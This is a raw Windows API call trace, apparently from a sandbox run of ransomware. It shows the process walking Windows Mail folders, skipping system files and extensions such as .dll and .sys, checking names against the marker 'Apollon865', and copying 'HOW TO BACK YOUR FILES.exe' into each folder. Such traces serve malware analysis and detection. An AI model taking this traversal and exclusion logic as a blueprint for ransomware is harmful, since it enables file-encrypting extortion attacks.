	[0037.648] lstrlenW (lpString="dadiagrams") returned 10
	[0037.648] lstrcmpiW (lpString1="wsMail.pat", lpString2="dadiagrams") returned 1
	[0037.648] lstrlenW (lpString="daschema") returned 8
	[0037.648] lstrcmpiW (lpString1="Mail.pat", lpString2="daschema") returned 1
	[0037.648] lstrlenW (lpString="db-journal") returned 10
	[0037.648] lstrcmpiW (lpString1="wsMail.pat", lpString2="db-journal") returned 1
	[0037.648] lstrlenW (lpString="db-shm") returned 6
	[0037.648] lstrcmpiW (lpString1="il.pat", lpString2="db-shm") returned 1
	[0037.648] lstrlenW (lpString="db-wal") returned 6
	[0037.648] lstrcmpiW (lpString1="il.pat", lpString2="db-wal") returned 1
	[0037.648] lstrlenW (lpString="dbc") returned 3
	[0037.648] lstrcmpiW (lpString1="pat", lpString2="dbc") returned 1
	[0037.649] lstrlenW (lpString="dbs") returned 3
	[0037.649] lstrcmpiW (lpString1="pat", lpString2="dbs") returned 1
	[0037.649] lstrlenW (lpString="dbt") returned 3
	[0037.649] lstrcmpiW (lpString1="pat", lpString2="dbt") returned 1
	[0037.649] lstrlenW (lpString="dbv") returned 3
	[0037.649] lstrcmpiW (lpString1="pat", lpString2="dbv") returned 1
	[0037.649] lstrlenW (lpString="dbx") returned 3
	[0037.649] lstrcmpiW (lpString1="pat", lpString2="dbx") returned 1
	[0037.649] lstrlenW (lpString="dcb") returned 3
	[0037.649] lstrcmpiW (lpString1="pat", lpString2="dcb") returned 1
	[0037.649] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery"
	[0037.649] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9168 | out: hHeap=0x580000) returned 1
	[0037.649] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b28 | out: hHeap=0x580000) returned 1
	[0037.649] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 64
	[0037.649] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery"
	[0037.649] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.649] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.657] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.657] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e921210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e921210, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0037.657] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.657] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.658] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0037.658] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e921210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e921210, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0037.658] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.658] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0037.658] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0037.658] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0037.658] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1
	[0037.658] lstrcmpiW (lpString1="Bears.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.658] lstrcmpiW (lpString1="Bears.htm", lpString2="Apollon865.txt.exe") returned 1
	[0037.658] lstrcmpiW (lpString1="Bears.htm", lpString2=".") returned 1
	[0037.658] lstrcmpiW (lpString1="Bears.htm", lpString2="..") returned 1
	[0037.658] lstrcmpiW (lpString1="Bears.htm", lpString2="windows") returned -1
	[0037.658] lstrcmpiW (lpString1="Bears.htm", lpString2="bootmgr") returned -1
	[0037.658] lstrcmpiW (lpString1="Bears.htm", lpString2="temp") returned -1
	[0037.658] lstrcmpiW (lpString1="Bears.htm", lpString2="pagefile.sys") returned -1
	[0037.658] lstrcmpiW (lpString1="Bears.htm", lpString2="boot") returned -1
	[0037.658] lstrcmpiW (lpString1="Bears.htm", lpString2="ids.txt") returned -1
	[0037.658] lstrcmpiW (lpString1="Bears.htm", lpString2="ntuser.dat") returned -1
	[0037.658] lstrcmpiW (lpString1="Bears.htm", lpString2="perflogs") returned -1
	[0037.658] lstrcmpiW (lpString1="Bears.htm", lpString2="MSBuild") returned -1
	[0037.658] lstrlenW (lpString="Bears.htm") returned 9
	[0037.658] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\*") returned 66
	[0037.658] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Bears.htm" | out: lpString1="Bears.htm") returned="Bears.htm"
	[0037.658] lstrlenW (lpString="Bears.htm") returned 9
	[0037.658] lstrlenW (lpString="Apollon865") returned 10
	[0037.658] lstrlenW (lpString=".dll") returned 4
	[0037.658] lstrcmpiW (lpString1="Bears.htm", lpString2=".dll") returned 1
	[0037.658] lstrlenW (lpString=".lnk") returned 4
	[0037.658] lstrcmpiW (lpString1="Bears.htm", lpString2=".lnk") returned 1
	[0037.658] lstrlenW (lpString=".ini") returned 4
	[0037.658] lstrcmpiW (lpString1="Bears.htm", lpString2=".ini") returned 1
	[0037.658] lstrlenW (lpString=".sys") returned 4
	[0037.658] lstrcmpiW (lpString1="Bears.htm", lpString2=".sys") returned 1
	[0037.658] lstrlenW (lpString="Bears.htm") returned 9
	[0037.659] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Bears.jpg" | out: lpString1="Bears.jpg") returned="Bears.jpg"
	[0037.659] lstrlenW (lpString="Bears.jpg") returned 9
	[0037.659] lstrlenW (lpString="Apollon865") returned 10
	[0037.659] lstrlenW (lpString=".dll") returned 4
	[0037.659] lstrcmpiW (lpString1="Bears.jpg", lpString2=".dll") returned 1
	[0037.659] lstrlenW (lpString=".lnk") returned 4
	[0037.659] lstrcmpiW (lpString1="Bears.jpg", lpString2=".lnk") returned 1
	[0037.659] lstrlenW (lpString=".ini") returned 4
	[0037.659] lstrcmpiW (lpString1="Bears.jpg", lpString2=".ini") returned 1
	[0037.659] lstrlenW (lpString=".sys") returned 4
	[0037.659] lstrcmpiW (lpString1="Bears.jpg", lpString2=".sys") returned 1
	[0037.659] lstrlenW (lpString="Bears.jpg") returned 9
	[0037.659] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Desktop.ini" | out: lpString1="Desktop.ini") returned="Desktop.ini"
	[0037.659] lstrlenW (lpString="Desktop.ini") returned 11
	[0037.659] lstrlenW (lpString="Apollon865") returned 10
	[0037.659] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0037.659] lstrlenW (lpString=".dll") returned 4
	[0037.659] lstrcmpiW (lpString1="Desktop.ini", lpString2=".dll") returned 1
	[0037.659] lstrlenW (lpString=".lnk") returned 4
	[0037.659] lstrcmpiW (lpString1="Desktop.ini", lpString2=".lnk") returned 1
	[0037.659] lstrlenW (lpString=".ini") returned 4
	[0037.659] lstrcmpiW (lpString1="Desktop.ini", lpString2=".ini") returned 1
	[0037.659] lstrlenW (lpString=".sys") returned 4
	[0037.659] lstrcmpiW (lpString1="Desktop.ini", lpString2=".sys") returned 1
	[0037.659] lstrlenW (lpString="Desktop.ini") returned 11
	[0037.659] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Garden.htm" | out: lpString1="Garden.htm") returned="Garden.htm"
	[0037.659] lstrlenW (lpString="Garden.htm") returned 10
	[0037.659] lstrlenW (lpString="Apollon865") returned 10
	[0037.659] lstrlenW (lpString=".dll") returned 4
	[0037.659] lstrcmpiW (lpString1="Garden.htm", lpString2=".dll") returned 1
	[0037.660] lstrlenW (lpString=".lnk") returned 4
	[0037.660] lstrcmpiW (lpString1="Garden.htm", lpString2=".lnk") returned 1
	[0037.660] lstrlenW (lpString=".ini") returned 4
	[0037.660] lstrcmpiW (lpString1="Garden.htm", lpString2=".ini") returned 1
	[0037.660] lstrlenW (lpString=".sys") returned 4
	[0037.660] lstrcmpiW (lpString1="Garden.htm", lpString2=".sys") returned 1
	[0037.660] lstrlenW (lpString="Garden.htm") returned 10
	[0037.660] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Garden.jpg" | out: lpString1="Garden.jpg") returned="Garden.jpg"
	[0037.660] lstrlenW (lpString="Garden.jpg") returned 10
	[0037.660] lstrlenW (lpString="Apollon865") returned 10
	[0037.660] lstrlenW (lpString=".dll") returned 4
	[0037.660] lstrcmpiW (lpString1="Garden.jpg", lpString2=".dll") returned 1
	[0037.660] lstrlenW (lpString=".lnk") returned 4
	[0037.660] lstrcmpiW (lpString1="Garden.jpg", lpString2=".lnk") returned 1
	[0037.660] lstrlenW (lpString=".ini") returned 4
	[0037.660] lstrcmpiW (lpString1="Garden.jpg", lpString2=".ini") returned 1
	[0037.660] lstrlenW (lpString=".sys") returned 4
	[0037.660] lstrcmpiW (lpString1="Garden.jpg", lpString2=".sys") returned 1
	[0037.660] lstrlenW (lpString="Garden.jpg") returned 10
	[0037.660] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Green Bubbles.htm" | out: lpString1="Green Bubbles.htm") returned="Green Bubbles.htm"
	[0037.660] lstrlenW (lpString="Green Bubbles.htm") returned 17
	[0037.660] lstrlenW (lpString="Apollon865") returned 10
	[0037.660] lstrcmpiW (lpString1="ubbles.htm", lpString2="Apollon865") returned 1
	[0037.660] lstrlenW (lpString=".dll") returned 4
	[0037.660] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2=".dll") returned 1
	[0037.660] lstrlenW (lpString=".lnk") returned 4
	[0037.660] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2=".lnk") returned 1
	[0037.660] lstrlenW (lpString=".ini") returned 4
	[0037.660] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2=".ini") returned 1
	[0037.660] lstrlenW (lpString=".sys") returned 4
	[0037.660] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2=".sys") returned 1
	[0037.660] lstrlenW (lpString="Green Bubbles.htm") returned 17
	[0037.660] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="GreenBubbles.jpg" | out: lpString1="GreenBubbles.jpg") returned="GreenBubbles.jpg"
	[0037.661] lstrlenW (lpString="GreenBubbles.jpg") returned 16
	[0037.661] lstrlenW (lpString="Apollon865") returned 10
	[0037.661] lstrcmpiW (lpString1="ubbles.jpg", lpString2="Apollon865") returned 1
	[0037.661] lstrlenW (lpString=".dll") returned 4
	[0037.661] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2=".dll") returned 1
	[0037.661] lstrlenW (lpString=".lnk") returned 4
	[0037.661] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2=".lnk") returned 1
	[0037.661] lstrlenW (lpString=".ini") returned 4
	[0037.661] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2=".ini") returned 1
	[0037.661] lstrlenW (lpString=".sys") returned 4
	[0037.661] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2=".sys") returned 1
	[0037.661] lstrlenW (lpString="GreenBubbles.jpg") returned 16
	[0037.661] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Hand Prints.htm" | out: lpString1="Hand Prints.htm") returned="Hand Prints.htm"
	[0037.661] lstrlenW (lpString="Hand Prints.htm") returned 15
	[0037.661] lstrlenW (lpString="Apollon865") returned 10
	[0037.661] lstrcmpiW (lpString1="Prints.htm", lpString2="Apollon865") returned 1
	[0037.661] lstrlenW (lpString=".dll") returned 4
	[0037.661] lstrcmpiW (lpString1="Hand Prints.htm", lpString2=".dll") returned 1
	[0037.661] lstrlenW (lpString=".lnk") returned 4
	[0037.661] lstrcmpiW (lpString1="Hand Prints.htm", lpString2=".lnk") returned 1
	[0037.661] lstrlenW (lpString=".ini") returned 4
	[0037.661] lstrcmpiW (lpString1="Hand Prints.htm", lpString2=".ini") returned 1
	[0037.661] lstrlenW (lpString=".sys") returned 4
	[0037.661] lstrcmpiW (lpString1="Hand Prints.htm", lpString2=".sys") returned 1
	[0037.661] lstrlenW (lpString="Hand Prints.htm") returned 15
	[0037.661] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="HandPrints.jpg" | out: lpString1="HandPrints.jpg") returned="HandPrints.jpg"
	[0037.661] lstrlenW (lpString="HandPrints.jpg") returned 14
	[0037.661] lstrlenW (lpString="Apollon865") returned 10
	[0037.661] lstrcmpiW (lpString1="Prints.jpg", lpString2="Apollon865") returned 1
	[0037.661] lstrlenW (lpString=".dll") returned 4
	[0037.661] lstrcmpiW (lpString1="HandPrints.jpg", lpString2=".dll") returned 1
	[0037.661] lstrlenW (lpString=".lnk") returned 4
	[0037.661] lstrcmpiW (lpString1="HandPrints.jpg", lpString2=".lnk") returned 1
	[0037.662] lstrlenW (lpString=".ini") returned 4
	[0037.662] lstrcmpiW (lpString1="HandPrints.jpg", lpString2=".ini") returned 1
	[0037.662] lstrlenW (lpString=".sys") returned 4
	[0037.662] lstrcmpiW (lpString1="HandPrints.jpg", lpString2=".sys") returned 1
	[0037.662] lstrlenW (lpString="HandPrints.jpg") returned 14
	[0037.662] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Orange Circles.htm" | out: lpString1="Orange Circles.htm") returned="Orange Circles.htm"
	[0037.662] lstrlenW (lpString="Orange Circles.htm") returned 18
	[0037.662] lstrlenW (lpString="Apollon865") returned 10
	[0037.662] lstrcmpiW (lpString1="ircles.htm", lpString2="Apollon865") returned 1
	[0037.662] lstrlenW (lpString=".dll") returned 4
	[0037.662] lstrcmpiW (lpString1="Orange Circles.htm", lpString2=".dll") returned 1
	[0037.662] lstrlenW (lpString=".lnk") returned 4
	[0037.662] lstrcmpiW (lpString1="Orange Circles.htm", lpString2=".lnk") returned 1
	[0037.662] lstrlenW (lpString=".ini") returned 4
	[0037.662] lstrcmpiW (lpString1="Orange Circles.htm", lpString2=".ini") returned 1
	[0037.662] lstrlenW (lpString=".sys") returned 4
	[0037.662] lstrcmpiW (lpString1="Orange Circles.htm", lpString2=".sys") returned 1
	[0037.662] lstrlenW (lpString="Orange Circles.htm") returned 18
	[0037.662] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="OrangeCircles.jpg" | out: lpString1="OrangeCircles.jpg") returned="OrangeCircles.jpg"
	[0037.662] lstrlenW (lpString="OrangeCircles.jpg") returned 17
	[0037.662] lstrlenW (lpString="Apollon865") returned 10
	[0037.662] lstrcmpiW (lpString1="ircles.jpg", lpString2="Apollon865") returned 1
	[0037.662] lstrlenW (lpString=".dll") returned 4
	[0037.662] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2=".dll") returned 1
	[0037.662] lstrlenW (lpString=".lnk") returned 4
	[0037.662] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2=".lnk") returned 1
	[0037.662] lstrlenW (lpString=".ini") returned 4
	[0037.662] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2=".ini") returned 1
	[0037.662] lstrlenW (lpString=".sys") returned 4
	[0037.662] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2=".sys") returned 1
	[0037.662] lstrlenW (lpString="OrangeCircles.jpg") returned 17
	[0037.662] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Peacock.htm" | out: lpString1="Peacock.htm") returned="Peacock.htm"
	[0037.662] lstrlenW (lpString="Peacock.htm") returned 11
	[0037.663] lstrlenW (lpString="Apollon865") returned 10
	[0037.663] lstrcmpiW (lpString1="eacock.htm", lpString2="Apollon865") returned 1
	[0037.663] lstrlenW (lpString=".dll") returned 4
	[0037.663] lstrcmpiW (lpString1="Peacock.htm", lpString2=".dll") returned 1
	[0037.663] lstrlenW (lpString=".lnk") returned 4
	[0037.663] lstrcmpiW (lpString1="Peacock.htm", lpString2=".lnk") returned 1
	[0037.663] lstrlenW (lpString=".ini") returned 4
	[0037.663] lstrcmpiW (lpString1="Peacock.htm", lpString2=".ini") returned 1
	[0037.663] lstrlenW (lpString=".sys") returned 4
	[0037.663] lstrcmpiW (lpString1="Peacock.htm", lpString2=".sys") returned 1
	[0037.663] lstrlenW (lpString="Peacock.htm") returned 11
	[0037.663] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Peacock.jpg" | out: lpString1="Peacock.jpg") returned="Peacock.jpg"
	[0037.663] lstrlenW (lpString="Peacock.jpg") returned 11
	[0037.663] lstrlenW (lpString="Apollon865") returned 10
	[0037.663] lstrcmpiW (lpString1="eacock.jpg", lpString2="Apollon865") returned 1
	[0037.663] lstrlenW (lpString=".dll") returned 4
	[0037.663] lstrcmpiW (lpString1="Peacock.jpg", lpString2=".dll") returned 1
	[0037.663] lstrlenW (lpString=".lnk") returned 4
	[0037.663] lstrcmpiW (lpString1="Peacock.jpg", lpString2=".lnk") returned 1
	[0037.663] lstrlenW (lpString=".ini") returned 4
	[0037.663] lstrcmpiW (lpString1="Peacock.jpg", lpString2=".ini") returned 1
	[0037.663] lstrlenW (lpString=".sys") returned 4
	[0037.663] lstrcmpiW (lpString1="Peacock.jpg", lpString2=".sys") returned 1
	[0037.663] lstrlenW (lpString="Peacock.jpg") returned 11
	[0037.663] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Roses.htm" | out: lpString1="Roses.htm") returned="Roses.htm"
	[0037.663] lstrlenW (lpString="Roses.htm") returned 9
	[0037.663] lstrlenW (lpString="Apollon865") returned 10
	[0037.663] lstrlenW (lpString=".dll") returned 4
	[0037.663] lstrcmpiW (lpString1="Roses.htm", lpString2=".dll") returned 1
	[0037.663] lstrlenW (lpString=".lnk") returned 4
	[0037.663] lstrcmpiW (lpString1="Roses.htm", lpString2=".lnk") returned 1
	[0037.663] lstrlenW (lpString=".ini") returned 4
	[0037.663] lstrcmpiW (lpString1="Roses.htm", lpString2=".ini") returned 1
	[0037.663] lstrlenW (lpString=".sys") returned 4
	[0037.663] lstrcmpiW (lpString1="Roses.htm", lpString2=".sys") returned 1
	[0037.664] lstrlenW (lpString="Roses.htm") returned 9
	[0037.664] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Roses.jpg" | out: lpString1="Roses.jpg") returned="Roses.jpg"
	[0037.664] lstrlenW (lpString="Roses.jpg") returned 9
	[0037.664] lstrlenW (lpString="Apollon865") returned 10
	[0037.664] lstrlenW (lpString=".dll") returned 4
	[0037.664] lstrcmpiW (lpString1="Roses.jpg", lpString2=".dll") returned 1
	[0037.664] lstrlenW (lpString=".lnk") returned 4
	[0037.664] lstrcmpiW (lpString1="Roses.jpg", lpString2=".lnk") returned 1
	[0037.664] lstrlenW (lpString=".ini") returned 4
	[0037.664] lstrcmpiW (lpString1="Roses.jpg", lpString2=".ini") returned 1
	[0037.664] lstrlenW (lpString=".sys") returned 4
	[0037.664] lstrcmpiW (lpString1="Roses.jpg", lpString2=".sys") returned 1
	[0037.664] lstrlenW (lpString="Roses.jpg") returned 9
	[0037.664] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Shades of Blue.htm" | out: lpString1="Shades of Blue.htm") returned="Shades of Blue.htm"
	[0037.664] lstrlenW (lpString="Shades of Blue.htm") returned 18
	[0037.664] lstrlenW (lpString="Apollon865") returned 10
	[0037.664] lstrcmpiW (lpString1="f Blue.htm", lpString2="Apollon865") returned 1
	[0037.664] lstrlenW (lpString=".dll") returned 4
	[0037.664] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2=".dll") returned 1
	[0037.664] lstrlenW (lpString=".lnk") returned 4
	[0037.664] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2=".lnk") returned 1
	[0037.664] lstrlenW (lpString=".ini") returned 4
	[0037.664] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2=".ini") returned 1
	[0037.664] lstrlenW (lpString=".sys") returned 4
	[0037.664] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2=".sys") returned 1
	[0037.664] lstrlenW (lpString="Shades of Blue.htm") returned 18
	[0037.664] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="ShadesOfBlue.jpg" | out: lpString1="ShadesOfBlue.jpg") returned="ShadesOfBlue.jpg"
	[0037.664] lstrlenW (lpString="ShadesOfBlue.jpg") returned 16
	[0037.664] lstrlenW (lpString="Apollon865") returned 10
	[0037.664] lstrcmpiW (lpString1="OfBlue.jpg", lpString2="Apollon865") returned 1
	[0037.664] lstrlenW (lpString=".dll") returned 4
	[0037.664] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2=".dll") returned 1
	[0037.664] lstrlenW (lpString=".lnk") returned 4
	[0037.664] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2=".lnk") returned 1
	[0037.665] lstrlenW (lpString=".ini") returned 4
	[0037.665] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2=".ini") returned 1
	[0037.665] lstrlenW (lpString=".sys") returned 4
	[0037.665] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2=".sys") returned 1
	[0037.665] lstrlenW (lpString="ShadesOfBlue.jpg") returned 16
	[0037.665] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Soft Blue.htm" | out: lpString1="Soft Blue.htm") returned="Soft Blue.htm"
	[0037.665] lstrlenW (lpString="Soft Blue.htm") returned 13
	[0037.665] lstrlenW (lpString="Apollon865") returned 10
	[0037.665] lstrcmpiW (lpString1="t Blue.htm", lpString2="Apollon865") returned 1
	[0037.665] lstrlenW (lpString=".dll") returned 4
	[0037.665] lstrcmpiW (lpString1="Soft Blue.htm", lpString2=".dll") returned 1
	[0037.665] lstrlenW (lpString=".lnk") returned 4
	[0037.665] lstrcmpiW (lpString1="Soft Blue.htm", lpString2=".lnk") returned 1
	[0037.665] lstrlenW (lpString=".ini") returned 4
	[0037.665] lstrcmpiW (lpString1="Soft Blue.htm", lpString2=".ini") returned 1
	[0037.665] lstrlenW (lpString=".sys") returned 4
	[0037.665] lstrcmpiW (lpString1="Soft Blue.htm", lpString2=".sys") returned 1
	[0037.665] lstrlenW (lpString="Soft Blue.htm") returned 13
	[0037.665] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="SoftBlue.jpg" | out: lpString1="SoftBlue.jpg") returned="SoftBlue.jpg"
	[0037.665] lstrlenW (lpString="SoftBlue.jpg") returned 12
	[0037.665] lstrlenW (lpString="Apollon865") returned 10
	[0037.665] lstrcmpiW (lpString1="ftBlue.jpg", lpString2="Apollon865") returned 1
	[0037.665] lstrlenW (lpString=".dll") returned 4
	[0037.665] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2=".dll") returned 1
	[0037.665] lstrlenW (lpString=".lnk") returned 4
	[0037.665] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2=".lnk") returned 1
	[0037.665] lstrlenW (lpString=".ini") returned 4
	[0037.665] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2=".ini") returned 1
	[0037.665] lstrlenW (lpString=".sys") returned 4
	[0037.665] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2=".sys") returned 1
	[0037.665] lstrlenW (lpString="SoftBlue.jpg") returned 12
	[0037.665] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Stars.htm" | out: lpString1="Stars.htm") returned="Stars.htm"
	[0037.666] lstrlenW (lpString="Stars.htm") returned 9
	[0037.666] lstrlenW (lpString="Apollon865") returned 10
	[0037.666] lstrlenW (lpString=".dll") returned 4
	[0037.666] lstrcmpiW (lpString1="Stars.htm", lpString2=".dll") returned 1
	[0037.666] lstrlenW (lpString=".lnk") returned 4
	[0037.666] lstrcmpiW (lpString1="Stars.htm", lpString2=".lnk") returned 1
	[0037.666] lstrlenW (lpString=".ini") returned 4
	[0037.666] lstrcmpiW (lpString1="Stars.htm", lpString2=".ini") returned 1
	[0037.666] lstrlenW (lpString=".sys") returned 4
	[0037.666] lstrcmpiW (lpString1="Stars.htm", lpString2=".sys") returned 1
	[0037.666] lstrlenW (lpString="Stars.htm") returned 9
	[0037.666] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Stars.jpg" | out: lpString1="Stars.jpg") returned="Stars.jpg"
	[0037.666] lstrlenW (lpString="Stars.jpg") returned 9
	[0037.666] lstrlenW (lpString="Apollon865") returned 10
	[0037.666] lstrlenW (lpString=".dll") returned 4
	[0037.666] lstrcmpiW (lpString1="Stars.jpg", lpString2=".dll") returned 1
	[0037.666] lstrlenW (lpString=".lnk") returned 4
	[0037.666] lstrcmpiW (lpString1="Stars.jpg", lpString2=".lnk") returned 1
	[0037.666] lstrlenW (lpString=".ini") returned 4
	[0037.666] lstrcmpiW (lpString1="Stars.jpg", lpString2=".ini") returned 1
	[0037.666] lstrlenW (lpString=".sys") returned 4
	[0037.666] lstrcmpiW (lpString1="Stars.jpg", lpString2=".sys") returned 1
	[0037.666] lstrlenW (lpString="Stars.jpg") returned 9
	[0037.666] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup"
	[0037.666] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0037.666] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0037.666] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 60
	[0037.666] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup"
	[0037.666] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.666] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.671] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
